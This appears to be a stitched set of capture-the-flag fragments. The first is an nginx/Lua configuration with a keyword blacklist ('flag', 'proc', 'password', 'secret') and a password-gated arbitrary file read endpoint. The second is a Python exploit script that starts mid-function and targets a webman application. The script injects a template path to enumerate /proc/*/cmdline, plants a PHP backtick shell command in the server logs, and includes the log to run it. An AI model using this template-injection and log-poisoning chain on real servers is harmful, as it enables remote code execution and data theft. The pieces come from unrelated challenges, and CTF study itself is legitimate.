location /static { alias /www/; access_by_lua_block { if ngx.var.remote_addr ~= "127.0.0.1" then ngx.exit(403) end } add_header Accept-Ranges bytes; }
location /download { access_by_lua_block { local blacklist = {"%.", "/", ";", "flag", "proc"} local args = ngx.req.get_uri_args() for k, v in pairs(args) do for _, b in ipairs(blacklist) do if string.find(v, b) then ngx.exit(403) end end end } add_header Content-Disposition "attachment; filename=download.txt"; proxy_pass http://127.0.0.1/static$arg_filename; body_filter_by_lua_block { local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"} for _, b in ipairs(blacklist) do if string.find(ngx.arg[1], b) then ngx.arg[1] = string.rep("*", string.len(ngx.arg[1])) end end } }
location /read_anywhere { access_by_lua_block { if ngx.var.http_x_gateway_password ~= password then ngx.say("go find the password first!") ngx.exit(403) end } content_by_lua_block { local f = io.open(ngx.var.http_x_gateway_filename, "r") if not f then ngx.exit(404) end local start = tonumber(ngx.var.http_x_gateway_start) or 0 local length = tonumber(ngx.var.http_x_gateway_length) or 1024 if length > 1024 * 1024 then length = 1024 * 1024 end f:seek("set", start) local content = f:read(length) f:close() ngx.say(content) ngx.header["Content-Type"] = "application/octet-stream" } } } }
for i in range(1, 300): r = requests.get( url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i)) time.sleep(0.2) if "start.php" in r.text: print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline") webroot = r.text.split("start_file=")[1][:-10] # print(r.text) print(f"Found webroot: {webroot}") break return webroot
def send_shell(webroot): # payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot) payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format( webroot) r = requests.get(url=url + payload) time.sleep(1) if r.status_code == 500: print("[\033[31m*\033[0m] Shell sent successfully") else: print("Failed to send shell")
def include_shell(webroot): now = datetime.now() payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format( webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d")) print(payload) r = requests.get(url=url + payload) time.sleep(5) r = requests.get(url=url + 'flag.txt') if "ctfshow" in r.text: print("=================FLAG==================\n") print("\033[32m" + r.text + "\033[0m") print("=================FLAG==================\n") print("[\033[31m*\033[0m] Shell included successfully") else: print("Failed to include shell")